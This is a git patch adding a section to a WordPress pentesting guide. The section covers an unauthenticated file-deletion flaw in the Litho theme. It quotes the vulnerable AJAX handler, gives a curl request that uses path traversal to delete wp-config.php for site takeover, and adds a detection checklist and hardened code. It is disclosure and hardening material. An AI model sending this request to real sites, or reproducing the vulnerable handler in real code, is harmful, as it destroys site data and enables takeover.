From a910d723e92fc144a0e11235c0c8fad250676479 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 30 Jul 2025 18:31:37 +0000 Subject: [PATCH] Add content from: Unauthenticated Arbitrary File Deletion Vulnerability in Lit... --- .../pentesting-web/wordpress.md | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 22b0ebde0..46219e9cc 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -408,6 +408,88 @@ The `permission_callback` is a callback to function that checks if a given user Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user. +### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) + +WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: + +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +3. **Strict input sanitisation / validation**. + +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): + +```php +function litho_remove_font_family_action_data() { + if ( empty( $_POST['fontfamily'] ) ) { + return; + } + $fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); + $upload_dir = wp_upload_dir(); + $srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; + $filesystem = Litho_filesystem::init_filesystem(); + + if ( file_exists( $srcdir ) ) { + $filesystem->delete( $srcdir, FS_CHMOD_DIR ); + } + die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` + +Issues introduced by this snippet: + +* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered. +* **No nonce / capability check** – any visitor can hit the endpoint. +* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal. + +#### Exploitation + +An attacker can delete any file or directory **below the uploads base directory** (normally `/wp-content/uploads/`) by sending a single HTTP POST request: + +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ + -d 'action=litho_remove_font_family_action_data' \ + -d 'fontfamily=../../../../wp-config.php' +``` + +Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). + +Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. + +#### Detection checklist + +* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`). +* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`. + +#### Hardening + +```php +function secure_remove_font_family() { + if ( ! is_user_logged_in() ) { + wp_send_json_error( 'forbidden', 403 ); + } + check_ajax_referer( 'litho_fonts_nonce' ); + + $fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); + $srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + + if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { + wp_send_json_error( 'invalid path', 400 ); + } + // … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` + +> [!TIP] +> **Always** treat any write/delete operation on disk as privileged and double-check: +> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). + +--- + ## WordPress Protection ### Regular Updates @@ -436,4 +518,8 @@ Also, **only install trustable WordPress plugins and themes**. - **Limit login attempts** to prevent Brute Force attacks - Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses. +## References + +- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) + {{#include ../../banners/hacktricks-training.md}}